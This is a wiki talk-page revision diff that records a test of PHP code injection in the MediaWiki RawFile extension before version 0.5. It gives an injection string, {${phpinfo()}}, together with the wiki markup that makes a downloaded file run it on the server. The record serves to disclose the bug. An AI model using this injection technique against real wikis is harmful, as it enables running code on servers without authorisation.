Talk:Mediawiki RawFile: Difference between revisions

From YobiWiki
Jump to navigation Jump to search
Content deleted Content added
mNo edit summary
<bdi>Fuujuhi</bdi> (talk | contribs)
No edit summary
 
(3 intermediate revisions by one other user not shown)
Line 1: Line 1:
Testing PHP code injection on Rawfile < 0.5 :
Tests...
<br>Adding this code to a wikipage:

<pre>
<nowiki>{${php_info()}</nowiki>
<nowiki><nowiki>{${phpinfo()}}</nowiki></nowiki>
[{{#file: myscript.sh}} as myscript.sh]
[{{#file: myscript.sh}} as myscript.sh]
<source lang=bash>
<source lang=bash>
Line 9: Line 10:
exit 0
exit 0
</source>
</source>
</pre>
and trying to download myscript.sh will execute phpinfo() on the server.

Latest revision as of 15:03, 13 February 2014

Testing PHP code injection on Rawfile < 0.5 :
Adding this code to a wikipage:

<nowiki>{${phpinfo()}}</nowiki>
[{{#file: myscript.sh}} as myscript.sh]
<source lang=bash>
#!/bin/bash

echo 'Hello world!'
exit 0
</source>

and trying to download myscript.sh will execute phpinfo() on the server.